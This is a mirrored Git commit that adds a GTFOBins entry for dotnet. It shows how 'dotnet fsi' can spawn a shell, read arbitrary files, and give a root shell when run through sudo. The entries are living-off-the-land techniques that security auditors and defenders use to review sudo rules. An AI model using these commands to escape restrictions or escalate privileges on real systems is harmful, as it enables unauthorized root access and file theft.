mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Add dotnet
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
abbed40f74
commit
f9e3d84596
16
_gtfobins/dotnet.md
Normal file
16
_gtfobins/dotnet.md
Normal file
@ -0,0 +1,16 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
dotnet fsi
|
||||
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
|
||||
file-read:
|
||||
- code: |
|
||||
export LFILE=file_to_read
|
||||
dotnet fsi
|
||||
System.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable("LFILE"));;
|
||||
sudo:
|
||||
- code: |
|
||||
sudo dotnet fsi
|
||||
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
|
||||
---
|
Loading…
Reference in New Issue
Block a user